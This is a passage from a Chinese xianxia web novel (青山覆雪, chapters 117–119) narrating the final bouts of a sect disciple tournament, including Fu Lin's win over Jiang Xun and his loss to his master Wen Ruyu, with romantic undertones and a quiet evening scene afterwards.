段千寒能够一路闯进前十名,已然是相当不易之事。 与上届弟子大会相比,他甚至连前百名都未能进入。 他已经赢了三年前的自己。 再者,弟子大会说到底不过是一次关于修为的切磋罢了,并不能以此来将他们划分三六九等。 毕竟还有许多有实力的弟子并没有参战,譬如郜林和慕语、瑶卿和云蘅,他们都是些不爱凑热闹、也不喜张扬之人。 果不其然,正如江挽所料想的那样,段千寒因为未能及时回防,给了乔诀一个绝佳的进攻机会。 只见那锋利无比的刀锋须臾间朝着段千寒的腰侧疾驰而去,在即将触碰到段千寒身体的一刹那,乔诀猛地收住了攻势。 但即便如此,段千寒还是不可避免地在这场比试中受了伤。 比试结束的鼓声未响之前,元春就已经在台下等着了。 他甚至都来不及等段千寒开口说句话,就急忙指挥着几位医师匆匆上前,将段千寒小心翼翼地抬走了。 五场角逐后,晋级的名单已然出现。 与此同时,下一轮比试的规则也相应地产生了一些变化。 不过不变的是,依旧会在几位弟子的木牌背面写上五个不同的数字,然后由四位阁主依次从中抽取一个。 最终,未被抽到之人将会直接轮空——也就是没有指定的对手。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第117章 君子服玉 待数字逐一写完后,四位阁主便一人抽走了一张木牌,桌上还未被抽走的木牌是壹。 “今年是哪个倒霉蛋?让我看看。” 温如玉喜笑颜开地翻开了那个牌子,而后瞬间变脸。 虽然笑容不会消失,但它会转移。 这下轮到在场的另外几人笑了,原因无他,壹号是傅霖。 傅霖的数字是“壹”;姜南的数字是“贰”;江洵数字是“叁”;祝声笙对应的数字是“肆”;而乔诀的数字是“伍”。 轮空者没有指定的对手,则意味着随时有人可以挑战他。 也就是说,在另外两组比试结束后,输了的两人还有晋升的机会,那便是向轮空者发起挑战。 若是胜出,晋升的同时可以抢占轮空者的位置,若是失败,倒也无妨,左右也是一次机会。 但是值得一提的是,身为轮空者在输给挑战者之后,没有第二次比试的机会。 直至最终还有两位弟子时,才展开最终的角逐。 “上一届的轮空者是谁来着?”温如玉撇撇嘴问道。 “乔诀。” 云璟可是记得清楚的很,本来那人都连赢两场了,谁知道傅霖那边也是连赢两场,最后不敌傅霖,才得了个第二名。 但这一看还真是应景哈,二阁的拿了第二,一阁的拿了第一。 “这光看不赌的,要不咱也下个注呗。”温如玉掂量了一下手中的钱袋子。 但云璟对此不感兴趣,这知道结局的事儿又有什么好赌的? 今年的第一名不出意外的话,估摸着也是他们一阁的傅霖摘走。 “赌谁是第二呗!”温如玉话落,便将那沉甸甸的钱袋子放在了江洵的牌子上。 方震觉得这事儿可行,掏出了一根玉簪子,放在了姜南的牌子上。 那云璟自然是要给他们二阁的人撑腰,于是在乔诀和祝声笙的牌子上都放了一根金条。 “下注吧,三阁主。”温如玉优雅地做了个请的手势。 江挽皱了下眉,“你们都这么不相信自己的徒弟吗?难道只希望他们拿第二?真是让人心寒。” 说罢,便掏出一袋上等的灵石放在了傅霖的牌子上。 “第二!!!江挽你醒醒!咱们是在赌谁!是!第!二!!!” 温如玉说完就想上手把那袋儿灵石扒拉开,咒谁呢这是!!! 他徒弟可是拿第一的料!!! “对啊,傅霖第二,我们洵儿第一!”江挽说这话的时候理直气壮,没觉得有丝毫不妥。 方震见状,翻了个白眼,“元春还没走远,让他给你开几副药?再不济,客席还坐着阳春门那姐弟俩,让他们帮你瞅瞅是不是这儿有问题,” 那老头边说边用手指了指江挽的脑袋。 江挽冷哼一声,拍掉了方震的手,“你以为谁都跟你一样,有点风吹草动就看大夫?也对,毕竟年纪大的人怕死啊!” 翌日,鼓声响起之时,江洵和姜南的比试便开始了。 这二人可谓是今年杀出来的黑马,毕竟另外三人在上一届弟子大会就已经是名列前茅的弟子了。 两人相对而立,默默地向对方施了一礼,过程中谁也没有再多说一句话。 随后,江洵召唤出献岁,此时还使用匕首显然不再合适,眼前的对手绝非等闲之辈。 姜南手中的佩剑名为流光,那可是她首次执行任务时,方震赠予她的出师礼物,意义非凡。 在她抬眸的一刹那,只见一道身影如闪电般急速冲来,瞬间移步到江洵面前,速度快得让人咋舌。 江洵见状,急忙抬手想要举起献岁阻挡。 然而,姜南的动作极为灵活敏捷,她一个巧妙的转身,轻松地绕过了江洵的防御,同时挥舞着流光,朝着江洵的左臂斩去。 江洵反应极快,身体向后仰去,惊险万分地避开了这一击。 可尽管如此,流光还是无情地划过了他的衣袖,留下了一道浅浅的口子。 姜南见一击未中,不禁有些烦躁地“啧”了一声。 她毫不迟疑,准备再度发起攻势。 可就在这时,献岁的刀刃如同鬼魅一般,以惊人的速度逼近了姜南的头部。 面对这突如其来的变故,姜南的脸上闪过一丝惊讶之色。 但仅用片刻,她便恢复了镇定与冷静。 只见她口中轻吐两个字:“流舞!” 随着话音落下,一股强大的剑意从流光剑的周身涌出,化作无形的力量迎向了献岁的袭击。 两股力量在空中激烈碰撞,发出一阵清脆的声响。 紧接着,双方几乎同时腾空而起,向后翻越,拉开了与彼此的距离,暂时确保了自身的安全。 落地后的江洵双手开始有所动作,他左手捏起法诀,右手紧紧握住刀柄,眼神专注而凌厉。 下一刻,他脚下发力,如离弦之箭向着姜南猛扑过去。 整个比试台上被凌厉的刀光剑影所笼罩,二人身形如电,手中兵器挥舞得密不透风,攻击速度一时间难分高下。 银色的剑影如同蛟龙出海,气势如虹;红色的刀锋则恰似烈火燎原,威猛无比。 本小章还未完,请点击下一页继续阅读后面精彩内容!二者相互交织缠绕,时而银芒闪烁,时而红焰滔天,一时间竟让人分不清到底是水在包容着火,还是火在贪婪地吞噬着水。 随着时间的推移,银光逐渐黯淡下来,终于在某一刻彻底消失不见。 就在这时,献岁身为利刃直直指向姜南的眉心,眼看着就要一击必杀! 江洵赢了。 此时的姜南已是精疲力竭,更没有多余的力气去挑战什么傅霖了。 如此一来,傅霖暂时算是安全了。 再看向另一边,云璟静静地站在那里,凝视着眼前的两个人,不禁轻轻叹了一口气。 对于他而言,乔诀不仅仅是自己的徒弟,更像是亲密无间的兄弟。 在他有事离开二阁的时候,全靠乔诀这个大师兄不辞辛劳地帮忙操持打理。 而祝声笙,其实力与才华在众多弟子当中可谓出类拔萃。 “虽说是比试,但说白了也就是个切磋,不要有什么压力,赢输都无妨,左右代表的都是咱们二阁。”云璟意味深长地说道。 这俩人随着年纪的增长,倒是逐渐成了不争不抢的性子。 若不是二阁如今能打进前几名的弟子屈指可数,云璟也不会强制他们二人报名。 尤其是乔诀,他早就表明自己无心参与此届弟子大会。 还是云璟整日苦口婆心的劝说,那人才堪堪同意的。 本以为这二人不会对上,可谁知道会在最后三场里遇见,真是造孽。 云璟越想越生气,对着一旁的温如玉不由分说地翻了个白眼。 温如玉有些疑惑的望了回去。 干什么????这不是还没开始打么???? 两人登上场之后,果真是如云璟所“交代”的那般只是相互切磋,竟然连佩剑都未曾召唤出来。 他们那懒散无比的出拳动作,实在是让人有些不忍直视,以至于云璟见状忍不住微微皱起了眉头。 云璟心中暗自思忖着,他方才说过的话好像不是这个意思吧! 虽然胜负的结果不重要,但双方打斗的过程很是重要。 像这样慢悠悠的出拳动作,和漏洞百出的打法,简直就如同两个腿脚不便、行动迟缓的病患一般。 而且看他们那架势,下一步要怎么出招都清清楚楚地写在了脸上,只差直接大声喊出“我下一拳就要打向你的腹部咯”这种话来。 看着台上的二人,云璟都要气笑了,叹了口气后又紧闭上了双眼。 没眼看。 实在是没眼看!!! 简直是丢人现眼!!!! 一个人丢人也就算了,还他娘的两个人一起!!! 温如玉的冷嘲热讽虽迟但到,只听那人轻飘飘地说道:“依我看,他俩干脆直接猜拳得了,那样速度还更快一些。” 听到这话,云璟只是冷哼一声,没有去搭理他。 当祝声笙的右拳快要贴近乔诀脸部时,压低声音悄悄问道:“师兄,咱们这儿还要打到什么时候才结束啊?” 乔诀同样轻声回应道:“快了快了,等会儿你再改用手掌攻击我的脖侧就行了。” 然而祝声笙听后却不禁皱起了眉头,面露难色地说道:“啊?可是我一点儿也不想和江洵比试啊。” “我更不想跟傅霖打!!!”乔诀想也没想就回道。 天杀的云璟!!! 乔诀竟第一次产生了要谋权篡位的想法。 “对不住了,师兄!” 祝声笙说完这句,一个箭步冲了出去,高举双手对着台下敲鼓的人说:“我输啦!!我投降!!!” 说完这句似乎又想到了什么,继续说道:“哦!对啦!我也不准备挑战傅霖哦!” 确保一字不落地全都交代完以后,祝声笙才跳下台子,一脸得意地朝着云璟走去,“怎么样阁主?我做的还不错吧!!” 云璟此刻正用手指按压太阳穴,他得冷静......得冷静...... “嗯,做的不错!”于是,那人抬头时,一副皮笑肉不笑的表情看向祝声笙。 祝声笙得意的撅了噘嘴,她就说嘛!有她在没意外! 那么如今就只剩下了江洵、乔诀和傅霖三人。 下一场比试的是江洵和乔诀,而他们二人中胜出那个人,就是最终同傅霖比试的人。 翌日一早,乔诀出门的时候甚至还特意等了一下江洵等人。 几人边走边聊,乔诀突然问道:“你想拿第一吗?” “师兄让给我??”江洵眨着眼睛问道。 不然他问这句话干嘛?? 乔诀闻言,不禁笑出了声,“你想的挺美。” 倘若只是二人的比试,让给江洵也无所谓,可是他身后代表的是二阁,那便不能如此任凭心意。 “我们洵哥儿哪都美!”冬苓得意的说道。 “对了,州州身上的那个玉坠是你买的吧?”乔诀看着江洵问道。 他昨天看见赵玉洲的时候,发现那小孩儿脖子上戴着一块上好的和田玉,分明前几日见他时他脖子上还没有戴任何东西。 “昂,我送的。上个任务途经东宁一家玉石店,打眼儿一看就觉得那块玉坠十分适合咱们州州!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“那孩子可曾同你说过招寿村的事儿?” “不曾,怎么?同你说过?” 乔诀摇了摇头。 赵玉洲来献岁阁也有大半年了,但却一次都没有说起过招寿村的事情,甚至从来没有提起要回家的事儿。 那人好似忘记了自己的身份,忘记了自己要等的人。 他将自己很好的融进了献岁阁,像是从出生起就在这山间长大的小孩儿一般。 “二位近来感情很好啊?” 傅霖远远就瞧见这几人有说有笑的,倒让他想起在上荷那几日,四人也总是同进同出的,只是当时站在江洵左侧的人是他。 “师兄弟之间,哪有感情不好的。”乔诀笑着回道。 他又怎会不知前几日傅霖和许廷宽比试台上发生的事呢,眼下说这话就是故意膈应傅霖的。 “师兄弟.......二阁不是向来都看不惯三阁么?怎么这会儿又好上了?”傅霖挑了下眉。 “这话又是听谁说的?我可不记得有这回事儿。” 乔诀耸了耸肩,毕竟二阁不是看不惯三阁,二阁是哪个阁都看不上,狠起来连自己阁里的人都骂! 主阁再厉害,参加比试的弟子不还是打不进前三名? 一阁再厉害,每年新收的弟子不还是没他们二阁多? 三阁再厉害,也不过是一群老病小,能担什么事儿? “快走了师兄,去晚了老阁主又要念叨了。”江洵拉着乔诀就往前走,没有理会身后的傅霖。 比试开始,二人同时召唤出佩剑。 江洵一个箭步冲上前,瞬间靠近乔诀。 乔诀完全没有想到,江洵竟然如此不讲武德,连个招呼都不打便冲了过来。 眨眼间,江洵已经近在咫尺,速度之快令人咋舌! 乔诀迅速反应过来,右手紧握剑柄,猛地一挥,试图攻击江洵的腰侧。 然而,他的这一动作早已被江洵精准地预判到。 就在乔诀的剑即将触及江洵身体的一刹那,江洵突然一个俯身,手中长刀顺势挥出,带着凌厉的气势砍向乔诀的手臂。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第118章 吾行其野 乔诀心中一惊,连忙向左急速转身,千钧一发之际,总算是勉强避开了江洵这致命的一刀。 江洵趁着乔诀此刻身子背对自己、存在视野盲区的绝佳时机,再度发动攻势。 只见他脚下步伐灵活变换,整个人犹如鬼魅一般欺身而上,手中长刀闪烁着寒光,直取乔诀后背要害。 可让人意想不到的是,乔诀仿佛背后真的长了一双眼睛似的,在江洵出手的瞬间,他便已察觉到了对方的意图。 几乎是在同一时刻,乔诀猛然回头,眼中闪过一丝寒芒。 紧接着,一股强大而沉稳的剑意从他身上爆发出来,一道黑影如同闪电般朝着江洵直直刺去。 面对这突如其来的反击,江洵却并未惊慌失措。 他的身手异常敏捷,就像是一只在天空中遭遇飞石袭击的小鸟,于飞行途中巧妙地转换了身姿,以毫厘之差与那道黑影擦肩而过。 成功避开攻击后的江洵稳稳落地,他的脸上不禁浮现出一抹兴奋之色,开口赞道:“师兄,有些本事啊!” 听到这话,乔诀微微一笑,回应道:“这才哪儿到哪儿。” 说着,他主动出击,一道道剑气如实质般朝江洵飞去。 江洵不敢怠慢,手中长刀舞得密不透风,将剑气一一挡下。 两人激战正酣之时,傅霖在一旁暗暗观察着。 他知道乔诀看似攻势猛烈,但其实每一招都留有余力,似乎并不想真正伤害江洵。 而江洵也是如此,他更像是在试探乔诀的实力底线。 突然,乔诀剑招一转,使出一招虚晃,江洵一时不察,被剑尖划破了衣衫。 江洵低头看一下两边的袖子,这伤的地方还真是对称,昨日被姜南划破一块,今日又被乔诀划破一块,就是主打一个公平公正呗。 乔诀没给江洵拉开距离的机会,再次贴近江洵,抓住其眼下无法闪躲的破绽,只要一剑下去,江洵就无缘下一场比试。 可他没有料到江洵那只背在身后的左手,在眨眼间抽出,而手中握住的匕首正直直的对准他的太阳穴。 若是再上前半步,匕首就会刺穿他的脑袋瓜儿。 此时的江洵双眸闪亮,笑的一脸狡黠,“谢谢师兄承让啦!” 乔诀在怔愣了一瞬后,唇角勾起一抹笑意,欣慰的说道:“你能赢,全凭你自己。” 鼓声响起,江洵赢了乔诀的瞬间,台下响起一阵阵呐喊声。 谁都没有想到江洵会走到这里。 就像谁都没想到傅霖最后的对手会是江洵。 这倒还真是被江挽言中了,江洵能挺进最后一场。 由于江洵与傅霖二人之间的这场比试乃是此次弟子大会的收官之战,其重要性不言而喻,因此被特意安排在了当日下午举行,具体时间则定在了未时整。 此时的方知许并未像之前那般安坐在客席之上,而是悄无声息地溜到了三阁所在之处,并与江挽以及温如玉一同落座。 “这时间过得可真是快啊!曾经小孩儿如今都长这么大了。” 遥想当初,江洵刚刚拜入师门之时,身形尚不及方知许胸口之高,活脱脱就是一个小巧玲珑的孩子模样。 然而时光荏苒,岁月如梭,如今的江洵已然与方知许一般高矮了。 尽管江挽此刻满眼温柔地凝视着江洵,但却透过他在回想另一个人。 她问向身侧的温如玉:“你说,秋哥这个年纪的时候,是不是也这般意气风发?” 听闻此言,温如玉起初明显怔愣了一瞬,似乎对“秋哥”这个称呼感到有些陌生。 不过很快,他便回过神来,脸上绽放一抹笑容,应道:“当然!无论是剑法还是灵力,那人都是独一份儿。” 十七岁的秋哥是江挽未曾亲眼见过的,无论怎么看都觉得遗憾。 那一年的他好友成群、良师在侧。 那一年的她家破人亡、双目失明。 那是一切的转折点,也是二人背道而驰的起点。 彼时,傅霖和江洵在台上静静地站着,竟有一种相顾无言的感觉。 他们本应是最为熟悉的人,只需一个眼神交汇,便能洞悉对方心中的那点儿小心思和小算盘。 而这几个月来,江洵对傅霖表现出的疏远以及有意无意地回避,让两人的关系渐渐蒙上了一层微妙的面纱。 这种难以言喻的情愫在空气中弥漫开来,让人感觉既陌生又似曾相识。 恍惚间,傅霖好似看到了三年前的江洵。 那时的他挡了他的道,还反倒说他没礼貌。 一个年少轻狂,一个青涩稚嫩。 没有人知晓江洵背后花费了多少时间和努力,才得以堂堂正正地走到傅霖面前,说出那句:“三阁弟子江洵,请赐教!” 傅霖闻言垂眸一笑,柔声回道:“一阁弟子傅霖,望指教。” 话落,江洵手中长刀猛地一挥,刹那间一道凌厉的光影如闪电般悄然疾射而出,直取傅霖所在的方位。 面对如此迅猛的攻势,傅霖的反应极快,他身形微微一侧,向后急速撤退出半步距离,险之又险地避开了这致命一击。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!只听得“铛”的一声脆响,那刀影重重地劈落在地上,所及之处瞬间被砍出一个深深的凹槽,尘土飞扬。 可是,江洵似乎早已将对手的一举一动尽收眼底,就在傅霖刚刚后撤闪避的那一瞬间空档,他毫不犹豫地再次挥动献岁,如疾风骤雨般乘胜追击。 傅霖的行野还未来得及被召唤出来,情况已然十分危急!只见他迅速地俯身向下,险之又险地避开了那凌厉的一击。 紧接着,他毫不犹豫地向右方猛地一跃,拉开与江洵之间的距离。 “我说,师弟,你这未免太心急了些吧?” 傅霖一边说着话,一边从容不迫地将行野召唤而出。 话是这么说,可他望向江洵的目光中却丝毫不见责怪之色,反而满满的都是欣赏之意。 三年,眼前这个人只用不到三年的时光,就逼得他不得不拔剑相向。 江洵此刻哪有心思跟他啰嗦,尤其是听到“师弟”这个称呼的时候,心中更是无名火起。 二话不说,他再次挥动长刀,闪烁的刀影呼啸着朝傅霖劈去。 面对这迅猛的攻势,傅霖毫不畏惧,一个箭步向前冲去。 同时,傅霖极其巧妙地压低了自己的身形,轻而易举地便躲过了江洵的攻击。 趁着这个间隙,他瞅准时机,以风驰电掣般的速度迅速拉近了与江洵之间的距离。 可是,就在傅霖即将靠近江洵的那一刹那,江洵的身躯突然如同飞鸟一般轻盈地腾空跃起,眨眼间便跳到了傅霖的身后。 紧接着,左手出掌,朝着傅霖的左侧狠狠击去。 这一招来得又快又狠,傅霖见状只得急忙向右躲闪。 而这一切都在江洵的算计之中,他真正目的不过是虚晃一枪罢了。 趁着傅霖向右躲闪的空当,江洵早已提前预判好了他的动作,并顺势发动了更为猛烈的攻击。 眼看着江洵手中的长刀就要砍中傅霖的手臂,千钧一发之际,傅霖展现出了惊人的应变能力。 只见他猛然扭动身躯,硬生生地改变了自己的移动轨迹。 于是,江洵势在必得的一击最终还是落了个空。 二人再次拉开了距离。 在江洵一口气还没喘完时,傅霖眨眼间便刺了过来,江洵立即抬起献岁抵挡,但一切来的太快。 行野划过江洵的脖侧,剑被弹开的瞬间,江洵的脖颈处也受到了一丝擦伤。 鲜血顺着江洵的脖颈缓缓流下,他却仿若未觉,甚至抬眸望向傅霖时,那双清澈眼睛是带着笑意的。 傅霖微微皱眉,心中泛起一丝复杂情绪。 “阳祭。” 傅霖再次出剑时,行野的剑影若隐若现,同时伴随着阵阵的龙吟声。 江洵没有躲避,迎着傅霖的剑冲上去,长刀在空中舞出一片火光,试图将龙吟声笼罩其中。 时间悄然流逝,两人之间的激战依旧难解难分,谁也未能占据上风。 台上的交锋越发激烈,刀光与剑影交织在一起,令人眼花缭乱,应接不暇。 此刻,傅霖手中的剑法突然间发生了变化,原本凌厉无比的招式变得灵动飘逸。 只听傅霖口中低声呢喃“天泉”二字。 刹那间,以傅霖为中心,二人脚下的台子被一个泛着冰冷寒光的狼头阵法所取代。 傅霖稳稳地站立在狼头眉心的位置,宛如掌控全局的主宰;而江洵,则身处狼嘴之处,仿佛随时都会被那张獠牙狰狞的大口吞噬。 江洵顿感一股刺骨的寒意如潮水般席卷而来,迅速蔓延至全身,甚至连握刀的手都不由自主地颤抖起来。 他强忍着身体的不适,拼命向后退去,试图远离脚下这个危险之地。 然而,慌乱之中的江洵并未注意到,眼前站着的傅霖不过是一道虚幻的身影而已。 正当他后退半步之际,猛然感觉到身后有个人影伫立。 心中一惊之下,江洵来不及细想,立刻改退为进,身形一闪,如离弦之箭一般向前猛冲而去。 可当他的第一只脚刚刚落地的时候,就好像被什么凶猛的野兽狠狠地咬了一口似的,剧痛瞬间袭来。 一个踉跄,脚步失去平衡,整个人重重地摔倒在地。 待到江洵再次抬起头来,映入眼帘是傅霖那锋利无比的剑尖,正径直停在他的心口。 这时再看那条受伤的小腿,哪里是被猛兽咬到的,分明是被行野的剑刃所划伤的。 一场比试下来,江洵浑身是伤,而傅霖却只是发丝微乱。 鼓声响起,比试结束。 江洵还未起身,秦在锦和冬苓就从客席上冲了过来。 傅霖本来还想扶一下江洵,毕竟他腿上挨的那一下可是实打实的。 但伸出去的手被刚冲上台的冬苓给推开了。 “怎么样洵哥儿?你哪疼??”冬苓一脸担忧的看着江洵。 江洵看着冬苓,笑了一声,“洵哥儿哪都不疼,别担心。” “能走吗?我背你。”秦在锦知道江洵伤到了腿,所以还没等江洵回答,就直接把他背了起来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!走的时候秦在锦还不忘面无表情地对站在对面的傅霖说道:“麻烦您能让一下吗?” 傅霖闻言皱了下眉,但也没有多说什么,只是默默站到了一侧,看着眼前三人一同走下了比试台。 “去......去去哪?”冬苓紧张的问道。 “我师父那。”江洵趴在秦在锦肩上说道。 “先回三阁吧。” 秦在锦这话刚说完,就看到江挽站起了身,朝他们招了招手,示意让江洵坐过去。 江洵看着江挽给他腾的位置,嘟囔着说道:“我坐后面就好。” “坐这儿,看得清楚些。”江挽说道。 他这边坐下,秦在锦那边就掏出了药箱。 方知许也凑了过来,在听秦在锦说没有大碍的时候才松了口气。 这时,坐在主位的方震看向站在台子中央的傅霖,不禁笑道:“你这小子,今年又拿了第一。” 傅霖闻言,收回停留在三阁的目光,转而对上方震的视线,不卑不亢地笑了。 “说吧,今年想挑战谁?” 傅霖眼底闪过一丝厉色,手中的行野剑直指温如玉,一字一句地说道:“一阁主——温如玉。” 话落,便扭头看向温如玉,那双漆黑的眼眸中有挑衅、有尊敬、还有来自对强者的钦佩及欣赏。 方震一副看好戏的眼神瞅了眼正坐在那喝茶的温如玉。 “意料之中意料之中。”温如玉笑着同方震举了一下杯子。 “好,那比试在半炷香后开始。” 方知许坐在自己的位置上,看了眼傅霖,又看了眼温如玉,咂舌道:“啧啧啧,你这是养徒弟还是养仇敌呢?” “你管我!”温如玉将杯中的茶一饮而尽。 方知许撇了撇嘴,“那样好的少年郎,当真没有一丝动容?” “你没发现那孩子的眼神早就不在我身上了么?只是他自己还没察觉罢了。说到底,少年人的喜欢最当不得真。” 却也最乱人心...... 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第119章 温润如玉 他先是温如玉,其次是一阁阁主,后是傅霖师父。 这偌大的江湖之中,不乏有好事者称他为“疯子”,对他指指点点。 面对这些流言蜚语,他始终不以为意,仿若未闻一般泰然自若。 只因他心中如明镜般清楚,知晓何事可为,何事不可为;亦明白何物可予,何物不可予。 他可以将毕生所学的剑法都传授给傅霖,也可以将这阁主之位拱手相让。 可除此之外的某些东西,纵使傅霖满心期盼,他亦是无法给予。 他并非愚钝之人,自然看得出傅霖的一番情意。 他的心又何尝不是肉长的? 只是身为傅霖的师父,又因年岁较傅霖略长一些,在明知那那孩子的品性和心思以后,他更应谨守师道尊严,对其加以规劝和引导。 毕竟从见到傅霖的第一眼,他就知道他们不是一路人,那么能够相识相知便已是幸运。 再说了,他可不想被傅霖他娘打断腿,那女人可不好惹。 比试开始。 温如玉召出佩剑——无雪。那柄长剑通体修长,宛如一条灵动的银蛇。 剑身之上雕刻着数朵栩栩如生的梅花,就连悬挂在剑柄处的剑穗所打的结也是精致无比的梅花结。 鼓声响起之时,温如玉瞬间贴脸,无雪对准傅霖的脖颈挥去,傅霖眼中寒芒一闪,弯腰躲过一劫,同时反手执剑朝温如玉的腰侧砍去。 “看清楚,你和他之间的差距。”江挽双手放在江洵的肩膀上,突然俯下身来低语道。 江洵一时间没听明白这话是什么意思。 他和谁的差距? 可他还未来得及开口询问,搭在他肩上的手便又松开了,好似方才什么话都没说过一般。 那边的温如玉察觉到身下之人的动作,陡然调转剑锋,挡下了傅霖的攻击。 傅霖眼见偷袭失败,顺势一个翻滚,拉开了距离。 温如玉看到傅霖如此识趣儿地逃走,不禁发出一声轻笑。 “万树。” 霎时间,无数梅花花瓣化作剑刃,从四面八方向傅霖飞去。 “师父还真是,一点也不手软。” 傅霖站稳以后,左手捏诀,右手执剑,低声喝道:“三象!” 行野剑瞬间化作三道虚影,围着傅霖形成一个三角形状,将那即将袭来的梅花瞬间冲散。 温如玉见状微微挑眉,欣慰地说道:“有点儿本事。” 话落,身形如电,冲向傅霖。 眼前人毫不畏惧,提剑相迎。 两人的身影在空中交错,剑鸣声不绝于耳。 就在这时,温如玉看准时机,用剑尖挑开傅霖的剑,然后一脚踢向傅霖腹部。 傅霖借力后翻,稳稳落地。 温如玉不给傅霖喘息的时间,“墨梅”剑法一出,从天而降的斩击朝着傅霖落下,犹如挥洒的泼墨。 哪怕傅霖身形灵活,也躲过不过这密密麻麻的攻击,只见那手臂及小腿处皆是斑斑点点地伤痕。 江洵目不转睛地紧盯着场上,心中满是震撼,傅霖上一场对他使用的剑法说到底,还是收敛了些许。 温如玉看着因为受伤坐在地上的傅霖,稍稍放松了警惕,可一口气还没呼出,傅霖的行野便行至眼前。 温如玉心下不禁一惊,身子向后俯去,而后利用惯性腾空向后翻转,同时挥出一道剑意对准傅霖。 这一反击可谓是漂亮! 傅霖侧身躲避这道剑意,但终究慢了一步,脸颊被划出一道血痕。 而他却毫不在意,嘴角却勾起一抹笑意,趁着温如玉尚未站稳之际,手中长剑脱手而出,直刺向温如玉。 温如玉没想到傅霖如此拼命,仓促间只能横剑抵挡。 “当”的一声巨响,二人的剑在空中相撞,行野不敌无雪,被打飞在地。 “你小子,这下没辙儿了吧。”温如玉冷声道。 “还未分出胜负呢,师父。” 说着双手快速结印,只听得周围的空气发出一阵呼啸之声,仿佛被一股无形的力量搅动得沸腾起来。 原本立在地上的行野剑感受到了主人的召唤,猛地颤动起来,咻地一声飘浮在空中。 温如玉脸色一变,意识到不好,急忙施展防御法术,可仍有几道剑影突破防御划伤了他的胳膊。 傅霖喘着粗气,他知道这一击并未真正伤到温如玉,但至少扳回一城。 正当他暗自庆幸的时候,却发现温如玉不知道什么时候竟然已经从自己的视线范围内消失不见了。 傅霖心头一紧,一种不祥的预感涌上心头,连忙警惕的观察四周。 突然,背后传来一阵风声,傅霖来不及细想,本能的转身挥剑格挡,以为是温如玉趁其不备发动了偷袭。 可在转身的瞬间,一片花瓣轻飘飘地落在了右肩。 傅霖顿时愣在了原地,花瓣...... 突然,脖颈处传来一丝寒意。 再看那右肩上哪儿还有什么花瓣,取而代之的是温如玉的无雪剑。 傅霖输了。 然而,温如玉心里却十分清楚,傅霖进步的太快了。 本小章还未完,请点击下一页继续阅读后面精彩内容!相比上一届的弟子大会,那时的傅霖根本接不住他几招,可时至今日,竟能与自己打得难解难分、互不相让。 倘若再给他一些时间成长下去,待到下一届的弟子大会,说不定他还真可以可以打赢自己。 傅霖收回行野,静静地站立在原处,微微抬起头,目光投向几步之外的温如玉。 那双深邃而明亮的眼眸之中,仿佛承载着无尽的爱意以及难以言表的委屈。 他默默地凝视着温如玉,渐渐地,眼眶开始泛红,紧接着,一抹淡淡的笑容又浮现在他的嘴角之上。 你瞧啊,他师父还是如此的强大。 如此令他这般……无计可施。 另一边,江洵还端坐在那里,眼睛一眨不眨地盯着台上的两人。 他好像明白了先前江挽所说过那句话意味着什么,好像也明白了何为差距。 他望向他的眼眸似星辰般闪烁。 在那一刻,他明白了。 那人从未喜欢过他。 那样温柔又爱意盈盈的双眸,他从未见过。 夜幕降临,吃过饭后十几号人围坐在院子里,身后是挺拔的银杏树,身旁是值得托付性命的朋友,抬头是温柔的月亮和闪耀的群星。 他们谈笑风生,他们轻声低语。 一起讨论起这几日曾在弟子大会上发生的一些趣事儿。 此时,唯有江洵静静地躺在那张陈旧的摇椅之上,双眼紧闭,宛如睡着了一般,缄默不语。 陈叔还以为他是因为没能拿第一,所以心情不好。 那老头手持一把破旧的蒲扇,小心翼翼地坐到他的身侧,轻柔地为其扇动着微风。 江洵感受一股清凉之意,缓缓睁开双眸,目光恰好与陈叔四目相对。 只见陈叔面带微笑,朝着他微微颔首,似乎在示意让他放心睡,不必忧心其他, 当江洵悠然打盹醒来时,耳畔除了蝉鸣,已经听不欢声笑语了。 而后发觉身上不知何时被人盖上了薄被,此刻坐在他身旁之人,已然由陈叔换成了江挽。 那人正低垂着头,默默地发呆,那双纤细的手中,正捏着一颗珠子。 江洵如果没记错的话,这应该还是先前的那颗魂珠。 只是如今这颗魂珠的色泽已然发生了变化,再也不见那通透明亮的白,取而代之的是如同浓墨一般的黑。 江洵忽然开口打破了那人的沉思:“想什么呢?” 江挽闻声回首,美眸微垂,嘴角漾起一抹浅浅的笑意,轻声回应道:“想下一步棋该如何走。” 江洵坐起身,盯着江挽的眼睛,认真地问道:“我在什么位置?” 他记得瑶卿说过的话,也记得傅霖的叮嘱,他什么都知道,可他依旧心甘情愿。 心甘情愿被当成一颗棋子。 “洵儿想在什么位置?”江挽不答反问。 江洵不假思索的回:“自然是对师父最有利的位置。” 闻言,江挽双眼微眯,意味深长的说道:“且等着吧,会有这一天的。” 江洵沉默了一会儿,而后又轻声问道:“此次没拿第一,师父可怪我?” 那人摇了摇头,“尽力就好,至于旁的,交给时间。” “那我还得再等三年才能同师父一起出任务吗?” 少年说这话的时候一脸忧愁,不是因为没拿第一发愁,而是因为不能同江挽一起出任务才难过。 江挽看他那苦大仇深的样子,不禁笑道:“不用等三年,下个任务的任务书记得帮我带一份。” 还没等江洵反应过来,江挽就站起来伸了个懒腰,继续说道:“快回屋睡吧,蚊子多,怪咬人的。” 翌日一早,秦念淑等人便已收拾好东西下了山,毕竟弟子大会已经结束,也该启程回去了。 临走时,秦在锦和冬苓选择留在献岁多玩两日。 “要不是家中催的紧,我也想多玩几日。”蒋曌失落的说道。 秦在锦拍了拍他的肩膀,“没事儿,就算你回去晚了,依你姐那温柔的性子,她也不会揍你的。” “罢了罢了,下次吧,下次邀请你们来凌霄岛玩!” 秦念淑站在一旁看着同人有说有笑的秦在锦,虽有心让他也回家待几日,可转念一想,反正日后有的是时间,趁着年轻,多去做做任务也是好的。 “那我走啦。”秦念淑朝江挽挥挥手。 “路上小心,到家了写信报平安。”江挽轻声说道。 “好。” 等人都走的差不多了,这几人方才转过身去,朝着山上迈步前行。 “小碗儿!” 忽然间,一道清脆而急切的呼喊声传来。 循声望去,只见那个始终跟随在沈亦行身侧、平日里总是头戴一顶斗笠的小女孩,此刻竟挣脱开了沈亦行拉住她的手,拼尽全力向着这边奔跑而来。 